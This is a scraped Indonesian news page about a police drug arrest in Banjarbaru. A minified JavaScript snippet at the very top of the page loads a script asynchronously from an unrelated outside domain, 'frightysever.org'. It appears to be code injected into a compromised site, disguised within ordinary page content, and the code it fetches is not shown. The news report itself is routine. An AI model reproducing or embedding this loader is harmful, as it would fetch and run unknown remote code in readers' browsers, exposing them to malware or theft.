(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Lelaki Warga Kelayan Diringkus Satresnarkoba Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarbaru menciduk pelaku aktivitas peredaran gelap narkotika di Jalan Ahmad Yani Kilometer 33, Kelurahan Loktabat Selatan, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

Penangkapan terjadi pada Jumat (2/8/2024), pihak kepolisian mendapati laporan dari masyarakat terkait adanya peredaran gelap narkoba di wilayah tersebut.

Kapolres Banjarbaru, AKBP Dody Harza Kusumah melalui Kasi Humas AKP Syahruji mengatakan, polisi kemudian menindak lanjuti laporan dengan melakukan penyelidikan.

Baca juga: Peringatan Hari Indonesia Menabung Bersama Pelajar SLBN 2 Martapura

“Setelah mendapatkan informasi yang cukup, sekitar pulul 21.00 Wita Satresnarkoba Polres Banjarbaru berhasil menangkap seorang laki-laki berinisial RH (40) di Jalan Ahmad Yani Km 33.

RH diketahui merupakan warga Jalan Kelayan A Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan, Kota Banjarmasin.

“Dengan menunjukan surat perintah tugas dengan disaksikan oleh warga petugas kemudian melakukan penggeledahan terhadap RH,” sambungnya.

Baca juga: IPP Naik, Gubernur Kalsel Raih Dua Penghargaan Kemenpora RI

Saat digeledah, RH menyimpan satu lembar plastik klip yang di dalamnta berisi narkotika jenis sabu dengan berat kotor seberat 1,16 gram.

Setelah ditimbang narkotika itu memiliki berat bersih 1,00 gram. Kemudian polisi juga menemukan sebuah handphone merk Samsung warna biru tua, selembar amplop warna putih dan uang tunai sebesar Rp40 ribu.

“RH dan barang bukti diamankan ke Polres Banjarbaru guna menjalani proses hukum lebih lanjut,” tuntas Syahruji. RH telah ditetapkan sebagai tersangka dan akibat perbuatannya terancam hukuman seperti termuat dalam pasal 114 ayat (1) sub pasal 112 ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.